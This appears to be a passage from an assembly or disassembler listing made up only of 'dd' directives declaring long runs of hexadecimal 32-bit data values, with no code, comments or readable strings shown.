		dd 2800437Ch, 24B753F8h, 25BF806Ch, 0CF93294Bh,	7750123Eh
		dd 0E928FD63h, 3C61726Fh, 0FC175533h, 7D522095h, 6850E671h
		dd 0C17CDF1h, 21AB5172h, 89443067h, 0F78368CDh,	1502C231h
		dd 71170CBCh, 554F25Ah,	497F685Ch, 80BEC088h, 0E012C380h
		dd 0BA1DF328h, 0C7BA1075h, 0B450219Ah, 0E27D214Ch, 76018B02h
		dd 85609276h, 0BE9CEB8Ah, 0D0D19F5Ah, 9D2DBB66h, 5B88527Bh
		dd 68AD02F1h, 66A42744h, 288BF55h, 36C803B8h, 5F502E98h
		dd 5D4864E2h, 0D1F2F9BAh, 73747561h, 40A69711h,	3D6E1ABEh
		dd 687FF542h, 120F36Eh,	8903F8C9h, 3AA8E9DAh, 36CDBCD0h
		dd 51AB260Ah, 7FB800D8h, 1CE93DAEh, 0F577575Bh,	0CCF139B5h
		dd 1016CA3Bh, 583FDDFCh, 0A32CA2Dh, 8C13E07Eh, 6EFDF8C5h
		dd 8A0FACF5h, 18BD51Fh,	2556E5D9h, 0B2C51E5Ch, 3B2CBDA1h
		dd 0B6F257C9h, 0F7E6A0Ch, 258B442h, 0E9180874h,	560979F9h
		dd 72610942h, 5C1298D9h, 686368AAh, 715A962Fh, 0DFE91Bh
		dd 5462C297h, 42A0A037h, 0C8AB3B9Dh, 0D25EC52Fh, 51CD0181h
		dd 0D47C21E9h, 9BF8F64Bh, 15EC0972h, 0E5D2B18h,	0D7F76522h
		dd 4E469CD0h, 7DABB027h, 0B3E932D1h, 9555CC9h, 0EA987869h
		dd 5EE817DAh, 2F7CE195h, 5E091788h, 0EEC787DFh,	0E25E68C7h
		dd 0BF004F7Ah, 73C04764h, 5EBEF66Ah, 654F4B8h, 0CB4EA1F0h
		dd 7C3CE4h, 81292140h, 7E1234F1h, 9EE86A4Bh, 0F92DD40Fh
		dd 0AC8C0557h, 0A5448DECh, 5A21C146h, 55DE282Bh, 1473269Eh
		dd 1C6FF448h, 0B02C511h, 5A3DF268h, 1B240DBh, 401D348h
		dd 1C8449C8h, 67C0CC85h, 76182BF2h, 2B9F240h, 0E9ED0F0Bh
		dd 7C74475Fh, 44B0BD64h, 884005B0h, 0C32858C1h,	1EB3802Dh
		dd 0D959CBC9h, 0FFE9FCF3h, 0EEA99454h, 0E6815D01h, 5BFB10AFh
		dd 0A243F42Eh, 8B303428h, 0A1E73F35h, 0EAC553BBh, 4A0B1A2Ch
		dd 31F28C1Fh, 12815840h, 0A3075BEAh, 300841EBh,	0CDAA963Ch
		dd 0A16FFDDEh, 511B6855h, 0BBA32957h, 621C7815h, 65D93ADDh
		dd 0C8C05704h, 7F964688h, 44C75E68h, 0F2A0E37Fh, 0CB954D99h
		dd 219B5F6Ch, 0BAEC425Ah, 15E03D84h, 481510EEh,	9FC39D1Fh
		dd 53C4EDFAh, 5D85E505h, 0EF07480Ch, 4BCE35A9h,	561589E9h
		dd 0E5054F4Dh, 558720EBh, 5C825A20h, 91E98684h,	0B2E2067h
		dd 1008D3C9h, 0E7680487h, 0DD8DAA76h, 835E7820h, 22CAD083h
		dd 1C51374Ah, 0BD386C2h, 562FF9F4h, 4210A60Bh, 3500618Ah
		dd 9F137F9h, 58C6295Bh,	65906657h, 5371A589h, 38AEF8D0h
		dd 42F72C50h, 0B3279626h, 7B83DD40h, 0DE5DFD08h, 772313D2h
		dd 5DBF2F87h, 68860B65h, 202B1A05h, 313B66EAh, 7C7892FDh
		dd 8EF37761h, 168392Eh,	2E4AE11h, 0A8C96558h, 0F5F09B4h
		dd 995A4164h, 7F54EB03h, 0AAE94ADCh, 0BD0B7365h, 165FDF9Ah
		dd 0A25FF7B2h, 5DB26690h, 104B016Eh, 3CDF4E44h,	7295DDAFh
		dd 454810D3h, 0D3F4BE2Dh, 2EC27BDh, 8841664Ch, 3B0BAAB9h
		dd 29FB23CAh, 620B4CD1h, 0E0DBB94Bh, 9DEF92E9h,	5965DC51h
		dd 0B8B2D9E0h, 0B1CA322Ah, 0D40BE6C8h, 95768979h, 6D2002E6h
		dd 0B85E5F7Fh, 0E0C05C2h, 0BEF977F4h, 15C9CF80h, 3C9076B5h
		dd 0B922E80Ch, 91D9C7Eh, 5706C403h, 0A44CED82h,	3C4EA50Eh
		dd 192EAA8h, 0F16AB5A9h, 0E7C93A10h, 0C258EE43h, 59C24898h
		dd 7055FF31h, 0CA2440AEh, 8379B440h, 0A58218D8h, 0C1C228CFh
		dd 0A9717E8h, 51520480h, 0B25203C3h, 4833C2ADh,	4F6814Eh
		dd 678B6163h, 0FE0EC546h, 0F82A71C2h, 5C4297CDh, 9C93A5Eh
		dd 485F7CB8h, 1DE9C1F4h, 25C5394Fh, 47061828h, 0FA057039h
		dd 0D3D55CDh, 70AAC17Eh, 3F65D14Dh, 0ED0FCF2h, 454DBD52h
		dd 6D8D6808h, 4DBCE904h, 0E4E17FCDh, 1394F5C6h,	7DC8212Ch
		dd 8A370218h, 888B823Bh, 5897ABDCh, 0A3BA04EEh,	12ACED7Bh
		dd 0BCBCCBBCh, 5DB5E5E7h, 3B634BA4h, 68817D5Bh,	2DF32A8Bh
		dd 31E9C77Ah, 80053457h, 0E652610Ch, 4E58E91Dh,	0E32B249h
		dd 6733EEB9h, 8BE2576Ah, 0ED8001D0h, 0D424612Dh, 0C3FADBCDh
		dd 0FD301BFh, 0E67EC0B7h, 575B1272h, 0CFF06FCDh, 0EF4427E9h
		dd 0AF0CDCA6h, 47E2695h, 3AEDFB11h, 0AB050A92h,	88A89394h
		dd 5004B32Dh, 8D5881B9h, 48A47055h, 5E7A5009h, 0C4FE41h
		dd 0E9722120h, 7195AFDEh, 0BF89351Fh, 0EC305F97h, 0C10AD349h
		dd 0A737A01Eh, 0BA753023h, 8366A3CBh, 25D505C4h, 8B7EC345h
		dd 0BB6893BDh, 2D2B7FDDh, 3A2359F0h, 431E1644h,	0A44D71BEh
		dd 53A10458h, 85ACC3DDh, 7EA20348h, 0CDE163B7h,	0B7D13FDCh
		dd 0B80075C5h, 0F5316127h, 0F9F01651h, 4217AF04h, 6C519EAh
		dd 178B2905h, 40BBD5B4h, 563FEE2Bh, 0B5901258h,	882CAF1h
		dd 7174EFE9h, 0F790BB09h, 0D24F5A0Fh, 4066F273h, 0D5A82ADAh
		dd 58BFE6C1h, 0EC0AD604h, 7B452066h, 4E9A0981h,	0F0585F2Dh
		dd 64A23E27h, 0F1212FE2h, 79141423h, 2FC7352Fh,	0A462656Eh
		dd 409905ACh, 727A655h,	131F2680h, 9F542957h, 0CA0B379h
		dd 79B70880h, 5A077513h, 545874E3h, 0B689F73Eh,	29F50542h
		dd 23025D90h, 0BB45AA64h, 414AA73Dh, 0A2E9ACDFh, 7521320h
		dd 0B27DB753h, 5BFA00F6h, 5A05D188h, 0C8287604h, 5FF721AAh
		dd 91E82A55h, 0A4970D84h, 0E243F95h, 0BE0CF7DCh, 5F892F59h
		dd 0E4DFBCD7h, 0ADEAE000h, 0F23A2B7Dh, 8CCAF1C2h, 165A1C08h
		dd 8449652h, 891A5188h,	3F5ADB4Ah, 0D24007AFh, 8FB03AB6h
		dd 9856A44Bh, 0DC441B39h, 0E3805F90h, 61EBE6A1h, 0FED90C01h
		dd 0E2F03EC3h, 0E96416F3h, 0FB8885AAh, 4910C8D8h, 29C58039h
		dd 18CBF434h, 71E25400h, 0F1E94E46h, 0C89DC045h, 0C6FED6F6h
		dd 15CE8019h, 0D9DBA406h, 0E9EC8679h, 0CC4C5438h, 0FDA7722Ch
		dd 0D8C03CD1h, 0D443E904h, 0E804D7B5h, 0DBE19482h, 0E56AA590h
		dd 0BB42A85Ch, 0C321F638h, 392F6476h, 0A4F45CEBh, 2EAF10E3h
		dd 0A80775ADh, 29F2A747h, 53DEA1D0h, 0AF14E1E9h, 0DCA51721h
		dd 0D9F95603h, 1A7674C8h, 0D8597313h, 27DBBE9h,	5497055Bh
		dd 62FF622Ch, 850709D3h, 22EDC3C9h, 0E7125A58h,	85C6BC43h
		dd 62BBC5BAh, 67696E85h, 917305Ch, 0B37C9741h, 828EBC65h
		dd 0BC405194h, 939FD0AFh, 42A63275h, 205F5AC5h,	0B7CCB649h
		dd 4196FC95h, 33206ED2h, 0FE353025h, 0F40763Fh,	4F3152E0h
		dd 0B2CB835h, 0BECCAFE3h, 0DF7D96C9h, 59958B94h, 37F10D27h
		dd 559E6B1Ch, 1044F64Bh, 0BD4A594Ah, 6B9984C3h,	45010212h
		dd 0EF49B477h, 36A00772h
		dd 1F33967Dh, 5207E3C1h, 5BDDB8F4h, 9258062Ah, 5C3BD620h
		dd 1788AC52h, 0F3296687h, 3CD5323Ch, 1BB5E6Fh, 8914BC5Fh
		dd 551525Fh, 6BDFCCF1h,	58CF87A2h, 3123B901h, 892B06DAh
		dd 2F7CD563h, 1104DFCDh, 5E7A28FEh, 6FA9E92Ch, 5CD4888Bh
		dd 0F5860829h, 3A02BD01h, 9AE80882h, 6AEAB458h,	61BA08AFh
		dd 246E7C2Fh, 0E4C0A0F8h, 83384825h, 0ECA7A117h, 0C0F9CB26h
		dd 40B5689Ch, 6B4EE901h, 0A1E29B17h, 4FB7D224h,	0CE4CED15h
		dd 3DD4FC05h, 0F88D094Fh, 2C6F48DCh, 3C5B139Eh,	0E161089h
		dd 0C53193EFh, 5F8EA39Ch, 5542D0E1h, 904EF702h,	2D086697h
		dd 601636C6h, 915A01B0h, 1296E1Ch, 30BA8055h, 0E460062Bh
		dd 0FD312A74h, 4C0A1089h, 8E5C088Ch, 4A407918h,	107B62C5h
		dd 0D6026460h, 9C3F07C9h, 4D406A08h, 206B637Ch,	8108685h
		dd 2C188D7Fh, 25EC20B7h, 811CFE80h, 1819E746h, 0D108CF23h
		dd 8BF83188h, 8959B0Ch,	0D5140D9h, 96201D62h, 6F800374h
		dd 84C31018h, 0CE552E08h, 1990EE18h, 0B2106379h, 500810C7h
		dd 7AF010CDh, 10A73410h, 6E184E05h, 5ECB3845h, 78F121D8h
		dd 8A3780A3h, 3188C881h, 0EC0842A7h, 0AD290CF3h, 0E040EB08h
		dd 827C40F4h, 4003B540h, 51623D99h, 8C8E6538h, 40D71028h
		dd 0F866014Bh, 3308EBF1h, 91D9E78Dh, 0A6A10810h, 38140418h
		dd 0D480DFDCh, 4410C617h, 1B20087Ah, 78022041h,	0C3826275h
		dd 0DE303128h, 79BB5B9h, 6321D9BCh, 0E48908B8h,	34C42144h
		dd 63D2E140h, 435A089Fh, 82245010h, 1E541322h, 0D8A816F4h
		dd 8C4315Dh, 0EA1C6CBDh, 4D6034F4h, 796E8608h, 87DDDA41h
		dd 80700424h, 10C43EB6h, 0CD06EA30h, 5E620885h,	49673AD9h
		dd 0AB031B40h, 88902918h, 0C8CE8910h, 5208DCC1h, 0F7C60C98h
		dd 0FB413808h, 309213F9h, 4A604471h, 4F3060Bh, 1DB2008h
		dd 3397C920h, 0D7398912h, 0C4AD0810h, 1880B010h, 0FB2832E7h
		dd 87DA8351h, 5092F504h, 57B848CAh, 108CC7Dh, 0ED6359F1h
		dd 10654508h, 10D01918h, 0F7107FB9h, 72A11881h,	8048B808h
		dd 0E80368Dh, 7628CC5Ah, 0A740B211h, 33D49257h,	94216114h
		dd 1CF90824h, 0F908788Dh, 0A3B55452h, 19C195E0h, 8AE6F10h
		dd 600C3439h, 83085E62h, 8DDC036Ah, 604E2024h, 40714F99h
		dd 53D54988h, 1054B80Ch, 0EEB8A8DDh, 0CC1A808Bh, 0D01D20CFh
		dd 26851B10h, 0C599346Dh, 88247071h, 3111C4D1h,	266009C2h
		dd 207909BCh, 75204426h, 3543206Fh, 2EE03054h, 0F4083C62h
		dd 7DBA0352h, 62752810h, 1802C310h, 9C6196D6h, 0A4E84CFCh
		dd 13D3C193h, 8B1E8F4Ah, 2B8C1CC7h, 0E83B1047h,	275062Ch
		dd 0E8913EBh, 3DA7B937h, 440105A0h, 4940008Fh, 0F775C90Bh
		dd 6097748Bh, 2703DEBCh, 3B23B9F0h, 0FC0C033h, 30694FB1h
		dd 4600F52Ch, 4C9DE955h, 830928CBh, 0D8BE56F9h,	9218048h
		dd 0EEC1E6D1h, 3A1A0E7Ch, 1DF8574Ah, 0B50C7E0Fh, 0D802A633h
		dd 0E45B5E1Ah, 7A40F711h, 77EB0BBEh, 0D5002767h, 3FC9F470h
		dd 5EF22112h, 27688EF0h, 27985625h, 10D22FF6h, 0C371EAEh
		dd 58103345h, 3B42F19Fh, 0FC4F317Ch, 72FA0918h,	0EAC1C536h
		dd 12529AC1h, 0A9351080h, 3127CD34h, 9539F0B5h,	0E9F0C55Eh
		dd 0CD035E83h, 2A3219E5h, 0F3DC7AD2h, 0AB3E1786h, 4010A236h
		dd 5FB65DF0h, 0DAB70152h, 7C70FB7Eh, 1666628Ch,	1271C701h
		dd 0B052D0AFh, 5133528Ch, 90E4B10h, 5685659h, 49C1317Bh
		dd 0D78F1D3Bh, 4864B5C9h, 0ACF0AE27h, 1CAF67C4h, 0E051655Ch
		dd 87E2DBAh, 6823690Ah,	0B9C0C82Bh, 3C365F34h, 0DD25E952h
		dd 6685C71h, 0E9FA2901h, 84C33CD0h, 969CA3BBh, 0CB1566FAh
		dd 21EFBF03h, 0CA566D43h, 3168D4FEh, 5D02CF2h, 0CF0295F9h
		dd 29FBEFBBh, 0CD21D709h, 2022404Dh, 4741830Bh,	1695B43Ah
		dd 1DB12812h, 3C0B38FEh, 2D74C797h, 0CA843E5Eh,	31FA014Bh
		dd 80F451C6h, 4F05F0EDh, 3E0B7E41h, 6880565Eh, 1D476C4Bh
		dd 486886E9h, 7D25F93Ah, 0E9150B1Eh, 9E16C13h, 7E23B551h
		dd 0A6DB095Eh, 7155311Ah, 0FEC2E9E7h, 9CBDB67Ah, 800F8AEEh
		dd 3B328612h, 7FC09D63h, 3246516h, 7401CF1Ah, 8986C7A8h
		dd 0B0E5AF04h, 0CD7B5FC6h, 0B7947DA5h, 10CE2935h, 76F71504h
		dd 0F85739FAh, 4BD66B85h, 7FA501EBh, 30720849h,	3337BA2Ah
		dd 46603867h, 3D50A356h, 2BADE95Eh, 687040F4h, 13FBB77Fh
		dd 70F63BBDh, 7292DC97h, 0E0127157h, 59473D68h,	66D3C4C4h
		dd 14FF5A0Bh, 0D747FEF6h, 514FC3E3h, 3A2FD9C9h,	307B5CE7h
		dd 68161990h, 4AAB1B79h, 26823CC2h, 7B55D7EEh, 0BE90B0E5h
		dd 43EA961Dh, 0FCB86697h, 0DAE90AF7h, 4A61010Fh, 472280D8h
		dd 0B85065DEh, 0A529F000h, 0E9C1216Bh, 68B44D27h, 92C771Eh
		dd 667FFCFBh, 8D96BDCEh, 10304732h, 0BA987764h,	63861D2Ch
		dd 5E544BD6h, 574359F1h, 1F58268h, 0ED0C296Ch, 94791162h
		dd 0F9871D07h, 10364C47h, 0CF1E3128h, 0D7E52159h, 0F7035B14h
		dd 0A2E949D1h, 882E1C17h, 5AF38EE6h, 185FDDA9h,	0A26853B2h
		dd 0C759801Bh, 5F5D54D6h, 415AB92Fh, 6074FE08h,	5A6CE950h
		dd 7E8BCEFDh, 7E08E837h, 4B28E6E0h, 0A80E481Ah,	53360C00h
		dd 3292E902h, 18AC014Bh, 901A35C4h, 573ED3Fh, 0D01FAA2Fh
		dd 8C551B1h, 54E0E47Ah,	0BBED585Bh, 23FF08B4h, 0D8A34A3Bh
		dd 2DE2E9C2h, 770D670Ah, 2B2EC2F2h, 0BD660472h,	0CFC7EF7h
		dd 6A0B411Ah, 2FC05562h, 55006EE4h, 197A4DBDh, 0ECD814Eh
		dd 7C9509E3h, 8BAF5C0h,	89050321h, 0C396E9EFh, 40E53788h
		dd 0CE5C0130h, 0C5C6723Ch, 20A4E089h, 5B48DBB2h, 0C323507h
		dd 2A7F86BDh, 5BA1BF2h,	8469C3CDh, 0E7A60134h, 0FB3CEF7Fh
		dd 0E2377010h, 132AB224h, 0ADAEA010h, 7C1E0500h, 58687A3Fh
		dd 0C98B721h, 4B0B55E1h, 0C0C58316h, 4CEAB9D6h,	9F39E43Ch
		dd 0E818E049h, 4EEB0B1Fh, 0D1C06182h, 0CBE6BF04h, 6423F712h
		dd 6D0A99CEh, 0EFF71336h, 0EA30F237h, 9F148702h, 604292F1h
		dd 5DFFB2DAh, 732ED672h, 5CAF8EA3h, 98F5D215h, 0EBB26887h
		dd 73F2176h, 977454D9h,	2F2507Ch, 49157DE2h, 54CA516Ch
		dd 0C35013A5h, 0AC37E5E7h, 7AB2019h, 2B967D68h,	727A9733h
		dd 4769CAB0h, 31815D12h, 6BAC35E2h, 0C2F32800h,	0A62F749h
		dd 44F0E943h, 0A2CB81F9h, 604F2B56h, 1018BC19h,	5D0C48E4h
		dd 23C00B43h, 881DF31h,	3444E9FEh, 0E624C1AEh, 2401CC04h
		dd 46342807h, 54217FC6h, 0E6688D3Fh, 0FE35027Dh, 0F08CA0A4h
		dd 1F6D0D5Eh, 4D185372h, 35864031h, 0EFCE3F01h,	2401571Ah
		dd 2DC390F5h, 0F02A1F0Fh, 10D05720h, 167D0893h,	0AEBE0D5Bh
		dd 705A40Ah, 40C1E909h,	98D729A4h, 2E0103DFh, 0C02D772Ah
		dd 0E972DDA0h, 5CE48E49h, 80164DA2h, 643D9168h,	0DE91A60h
		dd 6FB9003h, 0D1F0A53Bh, 1F7A0D0Ch, 0B6F47F24h,	203EB893h
		dd 51054439h, 0E51C4EB9h, 0C7F1CD00h, 9F3B6A1Ah, 0D0033DF2h
		dd 294A3CDCh, 0B9BE17CDh, 0C15A65A7h, 755057Eh,	38BB3485h
		dd 0BF34E945h, 0CDAF125Dh, 92043FEFh, 6CC8DAD2h, 0E0B21264h
		dd 0FE12FA8Eh, 931D2005h, 0DD8E2550h, 0D82872C3h, 0B151A02Ch
		dd 0BDC8EE02h, 0AD0D4859h, 3420FA41h, 58AB40BDh, 9E58DA98h
		dd 0BA52C032h, 341E7D0Ah, 0BE902933h, 0E9561E01h, 4F34533Fh
		dd 4CFE1F50h, 1076A624h, 0EFC1093Bh, 0E7560002h, 48167F71h
		dd 66167528h, 3D64E359h
		dd 0ACC0303h, 0E3FE7E9h, 0DF28092h, 7D2EB67h, 90D7D4D3h
		dd 32DBD9Fh, 0B29622F2h, 0D2DDE25h, 3A52FAB7h, 0D7203DB1h
		dd 12B36BDCh, 0F4CAE106h, 3213BB1Eh, 0DBF71204h, 820459C4h
		dd 68AB478Dh, 1225F192h, 0E6107F01h, 0E7BD1069h, 45263F9Bh
		dd 0FF4E93DCh, 42FBC84Eh, 8256C406h, 0DDBCB3B2h, 8800EDE5h
		dd 0E973EF3Fh, 0B59F9242h, 0DB028ED1h, 40513405h, 1248084Eh
		dd 0AB1D72E9h, 16EBF9D4h, 1687EDD6h, 0D8A59851h, 0AB04D40h
		dd 20695C55h, 87138388h, 0AF0F8B61h, 48994630h,	0FA8177FCh
		dd 3E71460Eh, 7A40B1F1h, 5CDE3102h, 142D6A1Dh, 8405AAC6h
		dd 4F7F8626h, 9A5AE82h,	20BDE67Ch, 112902F8h, 5F5B595Ah
		dd 19FACE83h, 0D652E92Dh, 7B00497Eh, 0FF1697Dh,	0A4D4095h
		dd 81484CBFh, 25400718h, 387F96EAh, 46871A24h, 57282924h
		dd 0F827CA31h, 0CB7E555Fh, 0B8F001FCh, 0EFE921ACh, 800D023Fh
		dd 9B7429ECh, 302E8B89h, 4EDC4Ah, 0E2816C23h, 1ED213D9h
		dd 29427EDFh, 0E14249A5h, 34AD9D09h, 12EB8F51h,	0CAE6F727h
		dd 11079E4Ah, 39026856h, 9C0D4058h, 0EC5281CFh,	4427664Ah
		dd 0CD5C47h, 7687F281h,	0CC14501h, 0BEC88C69h, 0F702B46Eh
		dd 7F3CC10Bh, 0B006D840h, 37B30CE8h, 890C3AB8h,	26F3BB03h
		dd 84B5D6E9h, 0AC2E86DDh, 52ACD6D0h, 42D5BBE0h,	96016829h
		dd 25C6D808h, 32D00278h, 97D64C70h, 8450F2C2h, 0D7BEBBF0h
		dd 3B5F47FBh, 3AC500Ch,	7D2D4295h, 0A42F7596h, 87A3E842h
		dd 4AD8646Ah, 0AE1C94C8h, 8860438Dh, 70C28809h,	63532914h
		dd 0E4901695h, 975D0BFBh, 40DB5990h, 3E53EF2Eh,	24D7C543h
		dd 0A4A589CBh, 555C2FAAh, 0C9702070h, 0BB85E6A5h, 0EDC4C8C6h
		dd 0AAC8D809h, 9087CEFh, 0A4FE6176h, 2F984E3h, 2E4C0514h
		dd 0A57588Dh, 0F9200EC9h, 0C501A404h, 0E6D09BE9h, 7EF8958h
		dd 37C6055Dh, 0C4801928h, 2B2140DDh, 20E0E927h,	3AA4E72Dh
		dd 0BD244EEFh, 95361411h, 478FC3A7h, 0CA35DA20h, 0D5B07F0Bh
		dd 0CCBF9A53h, 65C62FE9h, 0EE3232D3h, 748DD7DFh, 2AF73B27h
		dd 82D4E2D6h, 0AB11D768h, 0FCC7E12Ch, 94B75703h, 7BE9E720h
		dd 663735EBh, 0AAC91232h, 5BD86444h, 25528EECh,	9E3F724h
		dd 31071413h, 8829F07h,	9E60F8D2h, 14E16CBh, 16DFDDF9h
		dd 8BE9814Bh, 0F12C6A2Ch, 2D3E34E9h, 0C1C2003Ah, 42685B62h
		dd 50DAF72Eh, 876EAC0Fh, 0AA24E96Dh, 68C130ABh,	7B9F3728h
		dd 102B4AC6h, 0F24861F8h, 361331Fh, 3B3D4ACh, 2B9D1CDCh
		dd 0C9990C01h, 0F889A9A7h, 0E8E630h, 68B12501h,	5B0D120Ch
		dd 178B1F2Eh, 3E759108h, 3F5EFA95h, 0AF4B2A64h,	0ED03968Dh
		dd 0BEB50354h, 46B7601Ch, 0AFEB5AD1h, 28546596h, 9E672085h
		dd 89D9F728h, 75E22C0Bh, 5E9D0DCh, 64E9CA09h, 9966D05Ch
		dd 7A27AE5Bh, 0D2227501h, 59E6F81Bh, 0AAC102BFh, 0BD9CE68Ah
		dd 5BB07C1Eh, 27511740h, 0B11B5E68h, 4D465F1h, 93F926C0h
		dd 81E64E86h, 0D618B021h, 16765375h, 596DCC51h,	8AE1F697h
		dd 1EDFB252h, 0CAE58CD0h, 0E814C657h, 10DDDC1Eh, 5E2FA446h
		dd 8D573268h, 1C774FC5h, 6550760Dh, 6D10993Eh, 79C04E7Eh
		dd 10771EF6h, 2A142907h, 0CB00A04h, 0EB8925Bh, 0EFDF08B5h
		dd 5090501Ah, 20BA4DB6h, 0F831726h, 847F3241h, 0BBEAD142h
		dd 0C3CA9D01h, 94317054h, 2E346FE8h, 0BFEEE1EFh, 4C8BC1B9h
		dd 2280143Ah, 5192C436h, 562F6F94h, 115FCB1Ah, 0C46A5A46h
		dd 86D6B78Ch, 9D12EAAEh, 57521A7Ch, 6BF359h, 221BFEDBh
		dd 4740B775h, 675A1F0Ch, 810127B8h, 44555EE6h, 790C8029h
		dd 0E9270419h, 432B62CDh, 0B73C101h, 66905D69h,	1097F3F8h
		dd 5E8059Bh, 1110222h, 7D05BFC8h, 0F6B4838Ch, 475D1889h
		dd 0D2BA21Ch, 0A318992Eh, 5FD9B81Ah, 0EC7B9060h, 12BC6A91h
		dd 36D30861h, 49075602h, 3DFE5A60h, 67985643h, 1E167FFCh
		dd 1DF04F23h, 0B32FF172h, 4ABB81DEh, 123FF56Ah,	0AFFC8481h
		dd 0DF4C0E8Bh, 5313FC20h, 61AB3468h, 69B1B481h,	9EF30214h
		dd 7D5EC533h, 0EA05D996h, 643B63CAh, 8406FB9h, 56570B5Bh
		dd 1C56E2E9h, 0B7AD3C93h, 0B9723CE2h, 2468459Dh, 0C91D105Ah
		dd 348F6652h, 0E8295AD0h, 90E985E7h, 0F94B3DECh, 0CADEA23Ch
		dd 81FBD691h, 0D9C57D4Ch, 82213E89h, 6793163Dh,	0D9D2E0FBh
		dd 15020D04h, 810DE29h,	532C1940h, 0FBD3CF9Fh, 1778C22Dh
		dd 2D09EC96h, 0B20B0348h, 66D08153h, 239207Ah, 3B40BDE9h
		dd 0BFA5B454h, 0AE4B16D8h, 0A00F784Bh, 2D49B9B5h, 0BD6F02BFh
		dd 7F503BFEh, 0F75A605Dh, 0B8875FDDh, 4389436h,	799132F6h
		dd 88133801h, 5A8632Eh,	52F3665h, 32A3A001h, 18BE4629h
		dd 5FD01581h, 6AE8F4E9h, 0A27AF5DDh, 0F24D10E1h, 57D680Ah
		dd 4A5993BFh, 2CE031E1h, 0E6D0AD26h, 64FD7714h,	7506058Fh
		dd 0B4006518h, 363A59CAh, 54FC9046h, 0AF6DB08h,	4786415Eh
		dd 63F002CEh, 0C7E01DE0h, 0E6782446h, 28F5013Fh, 5E4F08C5h
		dd 0CA7FE6A1h, 73FC4A0Ch, 0FF4295B5h, 0F70113D2h, 0E97DFB3Ch
		dd 0F616D262h, 0D5E4FDD8h, 8909FE4Ah, 2754558h,	27E91DB6h
		dd 2C0E5F54h, 1605E612h, 27D77E71h, 7C012B63h, 7EB96E6Ah
		dd 72182801h, 0C4200DE6h, 61410E44h, 41D0291Fh,	141CA008h
		dd 0F4CDA9B7h, 0EEF45901h, 9F96CED7h, 0BC2701E5h, 0B3E91689h
		dd 0C19C52A9h, 96D1F730h, 3B105A0Bh, 0DE0125BAh, 32E906FBh
		dd 59022E45h, 6835C780h, 75987F83h, 0E990E953h,	715D098Ah
		dd 9C2BCF9h, 9B173568h,	42102D10h, 52B5ED18h, 74D72095h
		dd 0A00E3F49h, 712A298Eh, 2060993Bh, 141CD008h,	0E48FBC4Fh
		dd 4BA952A0h, 82472702h, 4C77E639h, 226D308Dh, 8140BF12h
		dd 0BD2E1D28h, 67275B03h, 3B6BE921h, 0F01857ABh, 0A5B90C96h
		dd 821F133Eh, 0F6269ABAh, 9E617823h, 0C511306h,	577A3670h
		dd 0EF3B5477h, 9835CC08h, 82DF464Ch, 7A47437Fh,	35C42C06h
		dd 0A7D6A50Ah, 60588B6Fh, 0ECC4BD7Ch, 0C133097Ah, 0A40007E5h
		dd 986F063Bh, 0C0E7E92Dh, 0BBE388D3h, 5682764h,	8B9E49FBh
		dd 1CF7D949h, 0B17D2563h, 4F64A36Eh, 9CF4C68h, 4EB7F885h
		dd 0BEEE5DAh, 95932D9Ch, 82510825h, 0F5D2F72Eh,	0B796B745h
		dd 0DF5FF582h, 0F5B139CDh, 0BE05351Ch, 475941CAh, 7B1B7509h
		dd 0E3130D0Fh, 580C40E9h, 6931D898h, 55E0B5C9h,	2A99617Ah
		dd 0CDED2A2Ch, 0C2685DC1h, 0DC592859h, 5D8C30DAh, 0A06031B2h
		dd 0BF80F054h, 20683913h, 0CCEB065Bh, 0C509AF19h, 82375A94h
		dd 5F5DE811h, 0F4C6FC31h, 6C3BF722h, 41924C29h,	0FB282B08h
		dd 89683E57h, 41633796h, 0B4793976h, 60759574h,	7EEC4BAFh
		dd 0A8F35A7Ah, 0C3318329h, 0BAF64E8Fh, 3CBB4E00h, 34BE117h
		dd 2D83CB81h, 0E1D07CCh, 0B341A1C3h, 5BAEE913h,	0CA070232h
		dd 51DAF69Bh, 6128FCEAh, 0BEEBEC0Ch, 0E94206C1h, 992F5EB1h
		dd 0D1B900C8h, 306F7F51h, 0F92F26B2h, 0F5F601D8h, 0E90B8621h
		dd 4F912851h, 6E743F0h,	15B9249h, 8808ED3h, 0C6017E9h
		dd 67902D28h, 29630A99h, 20705D0h, 7BA0685Ah, 1404F0A2h
		dd 4B0BB650h, 125FE66h,	6A19A460h, 17C59C60h, 0BC5A6B91h
		dd 2E13056Eh, 75827C8Dh, 26EADAEAh, 6928DD0Dh, 8125D77Eh
		dd 77256850h, 5015302Bh, 61010E19h, 783DC181h, 0E1D86BE7h
		dd 0F27E1EC7h, 80E9D668h, 48F014D5h, 9F3E7A9Fh,	0FE3017CCh
		dd 50BA0A6Ah, 3D1B4827h
		dd 205B540h, 66427C46h,	33EAE8E9h, 41D1B2DFh, 0FE04E666h
		dd 237A4C01h, 0E17B4E1Eh, 963AFD41h, 2CEE012Fh,	620CBAEBh
		dd 700BC902h, 7FEE2DE9h, 39E7A0F6h, 246CF1BBh, 95DC3E4Ch
		dd 0F25CB2A7h, 0F3CF26DFh, 0DA546447h, 0FC19D992h, 0A6A11D1Fh
		dd 0AB3DA0B9h, 494DF331h, 5200EB53h, 63B7C688h,	59EEA93Dh
		dd 45E90DACh, 1DBE08Ch,	70F87C9Dh, 0B90F5155h, 0C28D25B4h
		dd 0C6B8C7E9h, 5A52A83Fh, 0BF720207h, 8DF8A533h, 6D228E77h
		dd 0F82B2AEAh, 33BBB522h, 0CA4A0CB6h, 98A52FFCh, 6525E95Bh
		dd 876A2123h, 206D4AF2h, 2234B807h, 0D1E2607Dh,	490E2C72h
		dd 13FC13E9h, 1BF09929h, 0D0A0958Fh, 2C53EB3h, 0F2B4DCF6h
		dd 46685C04h, 8D6E1B8h,	7825F721h, 5351265Bh, 947107EEh
		dd 819EF24Eh, 71825204h, 76C6A00Dh, 4E2A8C72h, 7F75E959h
		dd 46FE982Fh, 0F6A725D0h, 985459DEh, 0F1C61CCFh, 28D32Dh
		dd 83746E05h, 0EB75E94Ah, 0C7A5A295h, 0BE3305BCh, 6B68FB8Ch
		dd 9EF49562h, 7071E9E2h, 0A9D7A0FCh, 0AD28BE44h, 0B9087A5Ch
		dd 4A5F693Bh, 0B09EC520h, 0D41D85BCh, 20C0960h,	98449D03h
		dd 18D30C49h, 0B10C21A6h, 6B2A591Bh, 8284162h, 0B888D02h
		dd 6820A177h, 342340ECh, 5C6F2978h, 0F9E90463h,	66519751h
		dd 2C98BF38h, 97FD6530h, 3B6822CBh, 0E3026316h,	447629A7h
		dd 18B75A40h, 0F5F42A26h, 5FA74A7h, 414D4B68h, 0E9595A79h
